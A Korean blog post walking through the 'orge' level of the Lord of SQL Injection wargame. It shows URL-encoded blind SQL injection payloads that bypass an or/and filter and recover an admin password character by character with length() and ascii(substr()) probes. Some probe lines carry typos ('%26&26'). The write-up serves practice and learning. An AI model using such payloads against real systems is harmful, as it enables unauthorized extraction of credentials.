관리 메뉴

FU11M00N

Lord Of Injection orge(7)단계 본문

Web Hacking/Lord of injection

Lord Of Injection orge(7)단계

호IT 2019. 10. 28. 03:41

이번문제는 7단계의 orge이다!! 

이번 코드를 분석해보니 이번에 금지된것도 prob,_(언더바),( ) 그리고 or와 and이다.

그럼 ||와 &&를 써야할것같고,,

 

쿼리문이 2개있는데 쿼리문이 각각 다르다.

첫번째 쿼리문은 id=guest이고 두번째 쿼리문은 id=admin이다

 

첫 번째 쿼리에서는 id='guest'로 되어 있고 두 번째 쿼리에서는 id='admin'으로 되어 있다.

하지만 이 문제는 결국 admin의 pw값을 알아내야하는데,

첫 번째 쿼리를 통해 admin의 pw를 알아내고, 두 번째 쿼리를 이용하여 문제를 풀면된다

 

결국 우리가 알아야할것은 id=admin이다.

또한 데이터베이스의 pw와 입력한 pw의 값이 같아야한다. 즉 Blind injection공격을 해야한다.

그럼 4단계에서 배웠던 블라인드인젝션 공격을 시도해보자.

?pw=1' || id='admin' && length(pw)=1#으로 pw의 길이를 알아야하는데

 

 

&&와 #은 파라미터 즉 URl에서 안먹히기때문에 URL Encoding을 해 넘겨주어야 한다.

그럼 &&을 인코딩값 %26으로 #을 %23 으로 바꿔주어서

?pw=1' || id='admin' %26%26 length(pw)=1%23 을 하나하나 다해봐서 pw의 길이를 알아내보자!

 

여기서 이 구문의 동작 원리는 앞의 id=guest인 첫번째 쿼리문을 거짓으로 만든뒤 || 뒤에오는

id='admin' %26%26 length(pw)=1%23 을 하나씩 찍어서 서버의 반응을 보는것이다.

그럼 뒤의 id='admin' 구문이 맞으면 Hello admin이 나올것이다. 한번해보자!

 

 

 

?pw=1' || id='admin' %26%26 length(pw)=8%23 

 

자! 이번에도 8글자의 패스워드입니다!!!

 

그럼 또 4단계에서 배운 블라인드 인젝션 함수인 substr()을 쓸건데요! 

 

 

?pw='||id='admin' %26&26 ascii(substr(pw,1,1)) -> 54  ->6
?pw='||id='admin' %26&26 ascii(substr(pw,2,1)) -> 99 -> c
?pw='||id='admin' %26&26 ascii(substr(pw,3,1)) -> 56 -> 8
?pw='||id='admin' %26&26 ascii(substr(pw,4,1)) -> 54 -> 6
?pw='||id='admin' %26&26 ascii(substr(pw,5,1)) -> 52 -> 4
?pw='||id='admin' %26&26 ascii(substr(pw,6,1)) -> 100 -> d
?pw='||id='admin' %26&26 ascii(substr(pw,7,1)) -> 101 -> e
?pw='||id='admin' %26&26 ascii(substr(pw,8,1)) -> 99 -> c

 

암호는 6c864dec 이다. 한번 넣어보자!!

 

?pw=6c864dec 를 입력하여 ORGE Clear 이다!! 

블라인드를 하면서 느낀게 파이썬이 필요한것같다...

'Web Hacking > Lord of injection' 카테고리의 다른 글

Lord of Injection vampire(9)단계  (3) 2019.10.29
Lord of Injection troll(8)단계  (0) 2019.10.29
Lord Of Injection darkelf(6)단계  (0) 2019.10.28
Lord Of Injection wolfman(5)단계  (0) 2019.10.28
Lord Of Injection orc(4)단계  (0) 2019.10.28
Comments